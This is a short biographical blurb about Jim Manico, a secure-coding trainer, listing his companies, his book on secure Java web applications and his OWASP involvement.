Jim Manico is the founder of Manicode Security, where he trains software developers on secure coding and security engineering. Jim is also the founder of Brakeman Security, Inc. and an investor/advisor for Signal Sciences. He is the author of Iron-Clad Java: Building Secure Web Applications (McGraw-Hill), a frequent speaker on secure software practices, and a member of the JavaOne Rockstar speaker community. Jim is also a volunteer for and former board member of the OWASP foundation.

Join our Mailing list!

Get all the latest news, exclusive deals, and feature updates.

The IKIGAI concept
Protected By
Shield Security PRO